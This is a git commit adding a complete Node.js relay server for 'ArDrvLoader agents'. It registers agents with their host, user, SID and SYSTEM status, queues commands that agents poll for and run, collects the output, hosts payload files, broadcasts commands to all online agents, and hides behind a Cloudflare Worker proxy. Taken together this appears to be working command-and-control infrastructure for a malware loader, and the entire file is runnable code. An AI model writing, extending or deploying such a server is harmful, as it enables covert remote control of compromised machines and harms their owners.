Init commit
This commit is contained in:
@@ -0,0 +1,492 @@
|
||||
// Relay server for ArDrvLoader agents.
|
||||
//
|
||||
// The Cloudflare Worker is only a proxy in front of this process; all state,
|
||||
// auth and the panel live here. Node >= 22 for node:sqlite.
|
||||
//
|
||||
// node server.js
|
||||
//
|
||||
// Env:
|
||||
// PORT listen port (default 8790)
|
||||
// DATA_DIR sqlite + payloads (default ./data)
|
||||
// PANEL_PATH panel.html (default ../cloudflare/panel.html)
|
||||
// AGENT_SECRET master key for agent key derivation
|
||||
// OPERATOR_KEY panel / operator API key
|
||||
// ENROLL_SECRET enrollment token
|
||||
// LEGACY_MASTER_AUTH "true" accepts the shared key during rollout
|
||||
// PROXY_SECRET when set, requests must carry X-Proxy-Secret
|
||||
|
||||
const http = require("node:http");
|
||||
const fs = require("node:fs");
|
||||
const path = require("node:path");
|
||||
const crypto = require("node:crypto");
|
||||
const { DatabaseSync } = require("node:sqlite");
|
||||
|
||||
const PORT = Number(process.env.PORT || 8790);
|
||||
const DATA_DIR = path.resolve(process.env.DATA_DIR || path.join(__dirname, "data"));
|
||||
const PANEL_PATH = path.resolve(process.env.PANEL_PATH || path.join(__dirname, "panel.html"));
|
||||
|
||||
const AGENT_SECRET = process.env.AGENT_SECRET || "";
|
||||
const OPERATOR_KEY = process.env.OPERATOR_KEY || "";
|
||||
const ENROLL_SECRET = process.env.ENROLL_SECRET || OPERATOR_KEY;
|
||||
const PROXY_SECRET = process.env.PROXY_SECRET || "";
|
||||
const LEGACY_MASTER_AUTH = process.env.LEGACY_MASTER_AUTH === "true";
|
||||
|
||||
fs.mkdirSync(DATA_DIR, { recursive: true });
|
||||
fs.mkdirSync(path.join(DATA_DIR, "files"), { recursive: true });
|
||||
|
||||
const db = new DatabaseSync(path.join(DATA_DIR, "ardrv.sqlite"));
|
||||
|
||||
db.exec("PRAGMA journal_mode=WAL");
|
||||
db.exec("PRAGMA busy_timeout=5000");
|
||||
db.exec("PRAGMA synchronous=NORMAL");
|
||||
|
||||
db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS agents (
|
||||
id TEXT PRIMARY KEY,
|
||||
first_seen INTEGER NOT NULL,
|
||||
last_seen INTEGER NOT NULL,
|
||||
host TEXT, user TEXT, sid TEXT, version TEXT,
|
||||
interval INTEGER, system INTEGER, tags TEXT, revoked INTEGER DEFAULT 0
|
||||
);
|
||||
CREATE TABLE IF NOT EXISTS commands (
|
||||
id TEXT PRIMARY KEY,
|
||||
agent TEXT NOT NULL,
|
||||
text TEXT NOT NULL,
|
||||
state TEXT NOT NULL,
|
||||
created INTEGER NOT NULL,
|
||||
sent INTEGER, finished INTEGER,
|
||||
operator TEXT, result TEXT, error TEXT
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_commands_agent ON commands(agent, created DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_commands_state ON commands(state);
|
||||
CREATE TABLE IF NOT EXISTS events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
ts INTEGER NOT NULL, kind TEXT NOT NULL, agent TEXT, detail TEXT
|
||||
);
|
||||
`);
|
||||
|
||||
const now = () => Math.floor(Date.now() / 1000);
|
||||
|
||||
function hmacHex(secret, message)
|
||||
{
|
||||
return crypto.createHmac("sha256", String(secret)).update(String(message)).digest("hex");
|
||||
}
|
||||
|
||||
function sha256Hex(buf)
|
||||
{
|
||||
return crypto.createHash("sha256").update(buf || Buffer.alloc(0)).digest("hex");
|
||||
}
|
||||
|
||||
function deriveAgentSecret(agent)
|
||||
{
|
||||
return hmacHex(AGENT_SECRET, "agent:" + agent);
|
||||
}
|
||||
|
||||
function safeEqual(a, b)
|
||||
{
|
||||
const x = Buffer.from(String(a));
|
||||
const y = Buffer.from(String(b));
|
||||
return x.length === y.length && crypto.timingSafeEqual(x, y);
|
||||
}
|
||||
|
||||
function json(res, data, status = 200)
|
||||
{
|
||||
const body = JSON.stringify(data);
|
||||
res.writeHead(status, {
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"Content-Length": Buffer.byteLength(body),
|
||||
"Cache-Control": "no-store"
|
||||
});
|
||||
res.end(body);
|
||||
}
|
||||
|
||||
function text(res, body, status = 200, type = "text/plain; charset=utf-8")
|
||||
{
|
||||
const buf = Buffer.isBuffer(body) ? body : Buffer.from(String(body), "utf8");
|
||||
res.writeHead(status, { "Content-Type": type, "Content-Length": buf.length, "Cache-Control": "no-store" });
|
||||
res.end(buf);
|
||||
}
|
||||
|
||||
function readBody(req)
|
||||
{
|
||||
return new Promise((resolve, reject) => {
|
||||
const chunks = [];
|
||||
req.on("data", c => chunks.push(c));
|
||||
req.on("end", () => resolve(Buffer.concat(chunks)));
|
||||
req.on("error", reject);
|
||||
});
|
||||
}
|
||||
|
||||
function authenticateAgent(req, url, body)
|
||||
{
|
||||
const agent = (req.headers["x-agent-id"] || "").trim();
|
||||
const ts = (req.headers["x-agent-ts"] || "").trim();
|
||||
const sign = (req.headers["x-agent-sign"] || "").trim().toLowerCase();
|
||||
|
||||
if (!AGENT_SECRET || !agent || !ts || !sign)
|
||||
return null;
|
||||
|
||||
if (!/^[A-Za-z0-9._-]{1,64}$/.test(agent))
|
||||
return null;
|
||||
|
||||
const tsNum = Number(ts);
|
||||
|
||||
if (!Number.isFinite(tsNum) || Math.abs(now() - tsNum) > 300)
|
||||
return null;
|
||||
|
||||
const canonicalPath = url.pathname.replace(/^\//, "") + url.search;
|
||||
const canonical = `${agent}\n${ts}\n${req.method}\n${canonicalPath}\n${sha256Hex(body)}`;
|
||||
|
||||
if (safeEqual(hmacHex(deriveAgentSecret(agent), canonical), sign))
|
||||
return agent;
|
||||
|
||||
if (LEGACY_MASTER_AUTH && safeEqual(hmacHex(AGENT_SECRET, canonical), sign))
|
||||
return agent;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
function operatorOk(req, url)
|
||||
{
|
||||
const key = req.headers["x-operator-key"] || url.searchParams.get("key") || "";
|
||||
return OPERATOR_KEY && safeEqual(key, OPERATOR_KEY);
|
||||
}
|
||||
|
||||
function agentRow(id)
|
||||
{
|
||||
return db.prepare("SELECT * FROM agents WHERE id = ?").get(id);
|
||||
}
|
||||
|
||||
function poll(agent, req, res)
|
||||
{
|
||||
const row = agentRow(agent);
|
||||
|
||||
if (row && row.revoked)
|
||||
return text(res, "revoked", 403);
|
||||
|
||||
const t = now();
|
||||
|
||||
db.prepare(`
|
||||
INSERT INTO agents (id, first_seen, last_seen, host, user, sid, version, interval, system)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
last_seen = excluded.last_seen,
|
||||
host = COALESCE(excluded.host, agents.host),
|
||||
user = COALESCE(excluded.user, agents.user),
|
||||
sid = COALESCE(excluded.sid, agents.sid),
|
||||
version = COALESCE(excluded.version, agents.version),
|
||||
interval = COALESCE(excluded.interval, agents.interval),
|
||||
system = excluded.system
|
||||
`).run(
|
||||
agent, t, t,
|
||||
req.headers["x-agent-host"] || null,
|
||||
req.headers["x-agent-user"] || null,
|
||||
req.headers["x-agent-sid"] || null,
|
||||
req.headers["x-agent-version"] || null,
|
||||
Number(req.headers["x-agent-interval"]) || null,
|
||||
req.headers["x-agent-system"] === "1" ? 1 : 0
|
||||
);
|
||||
|
||||
const cmd = db.prepare(`
|
||||
SELECT id, text FROM commands
|
||||
WHERE agent = ? AND state = 'queued'
|
||||
ORDER BY created ASC LIMIT 1
|
||||
`).get(agent);
|
||||
|
||||
if (!cmd)
|
||||
return text(res, "", 204);
|
||||
|
||||
db.prepare("UPDATE commands SET state = 'sent', sent = ? WHERE id = ?").run(t, cmd.id);
|
||||
|
||||
const b64 = Buffer.from(String(cmd.text), "utf8").toString("base64");
|
||||
text(res, cmd.id + "\n" + b64);
|
||||
}
|
||||
|
||||
function ack(agent, url, body, res)
|
||||
{
|
||||
const id = url.searchParams.get("id") || "";
|
||||
const raw = body.toString("utf8");
|
||||
|
||||
let result = raw;
|
||||
|
||||
try { result = Buffer.from(raw, "base64").toString("utf8"); } catch { }
|
||||
|
||||
if (result.length > 32768)
|
||||
result = result.slice(0, 32768) + "\n[truncated]";
|
||||
|
||||
db.prepare("UPDATE commands SET state='done', finished=?, result=? WHERE id=? AND agent=?")
|
||||
.run(now(), result, id, agent);
|
||||
|
||||
db.prepare("UPDATE agents SET last_seen=? WHERE id=?").run(now(), agent);
|
||||
|
||||
text(res, "ok");
|
||||
}
|
||||
|
||||
let lastPrune = 0;
|
||||
|
||||
// Keeps the database from growing forever. Commands are pruned by age and by
|
||||
// count, events by age. Runs at most once a minute, from the agents endpoint.
|
||||
function prune()
|
||||
{
|
||||
if (now() - lastPrune < 60)
|
||||
return;
|
||||
|
||||
lastPrune = now();
|
||||
|
||||
const cmdDays = Number(process.env.RETAIN_COMMAND_DAYS || 7);
|
||||
const evtDays = Number(process.env.RETAIN_EVENT_DAYS || 30);
|
||||
const maxCommands = Number(process.env.RETAIN_MAX_COMMANDS || 50000);
|
||||
|
||||
db.prepare("DELETE FROM commands WHERE created < ?").run(now() - cmdDays * 86400);
|
||||
db.prepare("DELETE FROM events WHERE ts < ?").run(now() - evtDays * 86400);
|
||||
|
||||
db.prepare(`DELETE FROM commands WHERE id IN (
|
||||
SELECT id FROM commands ORDER BY created DESC LIMIT -1 OFFSET ?
|
||||
)`).run(maxCommands);
|
||||
}
|
||||
|
||||
function reapStale()
|
||||
{
|
||||
db.prepare("UPDATE commands SET state='queued', sent=NULL WHERE state='sent' AND sent IS NOT NULL AND sent < ?")
|
||||
.run(now() - 180);
|
||||
}
|
||||
|
||||
function agentsPayload()
|
||||
{
|
||||
reapStale();
|
||||
prune();
|
||||
|
||||
const t = now();
|
||||
const rows = db.prepare(`
|
||||
SELECT a.*, (SELECT COUNT(*) FROM commands c WHERE c.agent = a.id AND c.state='queued') AS queued
|
||||
FROM agents a ORDER BY a.last_seen DESC
|
||||
`).all();
|
||||
|
||||
return rows.map(a => {
|
||||
const interval = a.interval || 15000;
|
||||
const intervalSec = Math.max(1, Math.round(interval / 1000));
|
||||
const age = t - a.last_seen;
|
||||
|
||||
return {
|
||||
id: a.id, host: a.host, user: a.user, sid: a.sid, version: a.version,
|
||||
interval, system: !!a.system, tags: a.tags, queued: a.queued,
|
||||
first_seen: a.first_seen, last_seen: a.last_seen,
|
||||
age,
|
||||
// interval is stored in ms, timestamps are seconds.
|
||||
online: age < Math.max(intervalSec * 3, 45),
|
||||
revoked: !!a.revoked
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
function enqueue(agent, cmdText, operator)
|
||||
{
|
||||
const id = crypto.randomUUID();
|
||||
|
||||
db.prepare("INSERT INTO commands (id, agent, text, state, created, operator) VALUES (?,?,?,?,?,?)")
|
||||
.run(id, agent, cmdText, "queued", now(), operator);
|
||||
|
||||
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
|
||||
.run(now(), "enqueue", agent, String(cmdText).slice(0, 200));
|
||||
|
||||
return id;
|
||||
}
|
||||
|
||||
async function handle(req, res)
|
||||
{
|
||||
const url = new URL(req.url, "http://local");
|
||||
const p = url.pathname;
|
||||
|
||||
if (PROXY_SECRET && req.headers["x-proxy-secret"] !== PROXY_SECRET)
|
||||
return text(res, "denied", 403);
|
||||
|
||||
const body = ["GET", "HEAD"].includes(req.method) ? Buffer.alloc(0) : await readBody(req);
|
||||
|
||||
if (p === "/" || p === "/panel")
|
||||
{
|
||||
try
|
||||
{
|
||||
return text(res, fs.readFileSync(PANEL_PATH), 200, "text/html; charset=utf-8");
|
||||
}
|
||||
catch
|
||||
{
|
||||
return text(res, "panel missing at " + PANEL_PATH, 500);
|
||||
}
|
||||
}
|
||||
|
||||
if (p.startsWith("/file/"))
|
||||
{
|
||||
const name = path.basename(decodeURIComponent(p.slice(6)));
|
||||
const file = path.join(DATA_DIR, "files", name);
|
||||
|
||||
if (!fs.existsSync(file))
|
||||
return text(res, "not found", 404);
|
||||
|
||||
return text(res, fs.readFileSync(file), 200, "application/octet-stream");
|
||||
}
|
||||
|
||||
if (p.startsWith("/api/"))
|
||||
{
|
||||
if (p !== "/api/enroll" && !operatorOk(req, url))
|
||||
return json(res, { ok: false, error: "denied" }, 403);
|
||||
|
||||
if (p === "/api/enroll" && req.method === "POST")
|
||||
{
|
||||
const provided = req.headers["x-enroll-secret"] || "";
|
||||
|
||||
if (!ENROLL_SECRET || !safeEqual(provided, ENROLL_SECRET))
|
||||
return json(res, { ok: false, error: "enroll denied" }, 403);
|
||||
|
||||
let payload;
|
||||
|
||||
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||
|
||||
if (!payload || !/^[A-Za-z0-9._-]{1,64}$/.test(payload.agent || ""))
|
||||
return json(res, { ok: false, error: "valid agent id required" }, 400);
|
||||
|
||||
const t = now();
|
||||
|
||||
db.prepare(`INSERT INTO agents (id, first_seen, last_seen, revoked) VALUES (?,?,?,0)
|
||||
ON CONFLICT(id) DO UPDATE SET revoked = 0`).run(payload.agent, t, t);
|
||||
|
||||
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
|
||||
.run(t, "enroll", payload.agent, "issued");
|
||||
|
||||
return json(res, { ok: true, agent: payload.agent, secret: deriveAgentSecret(payload.agent) });
|
||||
}
|
||||
|
||||
if (p === "/api/revoke" && req.method === "POST")
|
||||
{
|
||||
let payload;
|
||||
|
||||
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||
|
||||
if (!payload || !payload.agent)
|
||||
return json(res, { ok: false, error: "agent required" }, 400);
|
||||
|
||||
const revoked = payload.revoked === false ? 0 : 1;
|
||||
|
||||
db.prepare("UPDATE agents SET revoked=? WHERE id=?").run(revoked, payload.agent);
|
||||
|
||||
db.prepare("INSERT INTO events (ts, kind, agent, detail) VALUES (?,?,?,?)")
|
||||
.run(now(), "revoke", payload.agent, revoked ? "revoked" : "restored");
|
||||
|
||||
return json(res, { ok: true, agent: payload.agent, revoked: !!revoked });
|
||||
}
|
||||
|
||||
if (p === "/api/agents")
|
||||
return json(res, { ok: true, now: now(), agents: agentsPayload() });
|
||||
|
||||
if (p === "/api/stats")
|
||||
{
|
||||
const counts = db.prepare("SELECT state, COUNT(*) AS n FROM commands GROUP BY state").all();
|
||||
const agents = db.prepare(`
|
||||
SELECT COUNT(*) AS n, SUM(CASE WHEN last_seen > ? THEN 1 ELSE 0 END) AS online FROM agents
|
||||
`).get(now() - 300);
|
||||
|
||||
return json(res, { ok: true, agents: agents.n || 0, online: agents.online || 0, commands: counts });
|
||||
}
|
||||
|
||||
if (p === "/api/commands")
|
||||
{
|
||||
const agent = url.searchParams.get("agent") || "";
|
||||
const limit = Math.min(Number(url.searchParams.get("limit") || 50), 200);
|
||||
|
||||
const rows = agent
|
||||
? db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
|
||||
substr(COALESCE(result,''),1,2000) AS result
|
||||
FROM commands WHERE agent=? ORDER BY created DESC LIMIT ?`).all(agent, limit)
|
||||
: db.prepare(`SELECT id, agent, text, state, created, sent, finished, operator,
|
||||
substr(COALESCE(result,''),1,2000) AS result
|
||||
FROM commands ORDER BY created DESC LIMIT ?`).all(limit);
|
||||
|
||||
return json(res, { ok: true, commands: rows });
|
||||
}
|
||||
|
||||
if (p === "/api/enqueue" && req.method === "POST")
|
||||
{
|
||||
let payload;
|
||||
|
||||
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||
|
||||
if (!payload || !payload.agent || !payload.text)
|
||||
return json(res, { ok: false, error: "agent and text required" }, 400);
|
||||
|
||||
return json(res, { ok: true, id: enqueue(payload.agent, payload.text, "panel") });
|
||||
}
|
||||
|
||||
if (p === "/api/broadcast" && req.method === "POST")
|
||||
{
|
||||
let payload;
|
||||
|
||||
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||
|
||||
if (!payload || !payload.text)
|
||||
return json(res, { ok: false, error: "text required" }, 400);
|
||||
|
||||
const t = now();
|
||||
const rows = db.prepare("SELECT id FROM agents WHERE last_seen > ?").all(t - 300);
|
||||
|
||||
for (const a of rows)
|
||||
enqueue(a.id, payload.text, "broadcast");
|
||||
|
||||
return json(res, { ok: true, sent: rows.length, agents: rows.map(a => a.id) });
|
||||
}
|
||||
|
||||
if (p.startsWith("/api/command/"))
|
||||
{
|
||||
const row = db.prepare("SELECT * FROM commands WHERE id=?").get(p.slice(13));
|
||||
|
||||
return row ? json(res, { ok: true, command: row }) : json(res, { ok: false, error: "not found" }, 404);
|
||||
}
|
||||
|
||||
return json(res, { ok: false, error: "unknown endpoint" }, 404);
|
||||
}
|
||||
|
||||
if (p === "/poll" || p === "/ack" || p === "/status" || p === "/enqueue")
|
||||
{
|
||||
const agent = authenticateAgent(req, url, body);
|
||||
|
||||
if (!agent)
|
||||
return text(res, "denied", 403);
|
||||
|
||||
if (p === "/poll")
|
||||
return poll(agent, req, res);
|
||||
|
||||
if (p === "/ack" && req.method === "POST")
|
||||
return ack(agent, url, body, res);
|
||||
|
||||
if (p === "/status")
|
||||
{
|
||||
const row = db.prepare("SELECT result FROM commands WHERE agent=? AND state='done' ORDER BY finished DESC LIMIT 1").get(agent);
|
||||
const last = row && row.result ? Buffer.from(row.result, "utf8").toString("base64") : null;
|
||||
return json(res, { ok: true, agent, last });
|
||||
}
|
||||
|
||||
if (p === "/enqueue" && req.method === "POST")
|
||||
{
|
||||
const cmdText = body.toString("utf8").trim();
|
||||
|
||||
if (!cmdText)
|
||||
return text(res, "empty", 400);
|
||||
|
||||
return json(res, { ok: true, id: enqueue(agent, cmdText, "agent") });
|
||||
}
|
||||
}
|
||||
|
||||
text(res, "ok");
|
||||
}
|
||||
|
||||
const server = http.createServer((req, res) => {
|
||||
handle(req, res).catch(err => {
|
||||
try { json(res, { ok: false, error: String(err && err.message ? err.message : err) }, 500); } catch { }
|
||||
});
|
||||
});
|
||||
|
||||
server.listen(PORT, () => {
|
||||
console.log(`relay server on http://127.0.0.1:${PORT}`);
|
||||
console.log(`data: ${DATA_DIR}`);
|
||||
console.log(`panel: ${PANEL_PATH}`);
|
||||
console.log(`legacy master auth: ${LEGACY_MASTER_AUTH}`);
|
||||
console.log(`journal mode: ${db.prepare("PRAGMA journal_mode").get().journal_mode}`);
|
||||
});
|
||||
Reference in New Issue
Block a user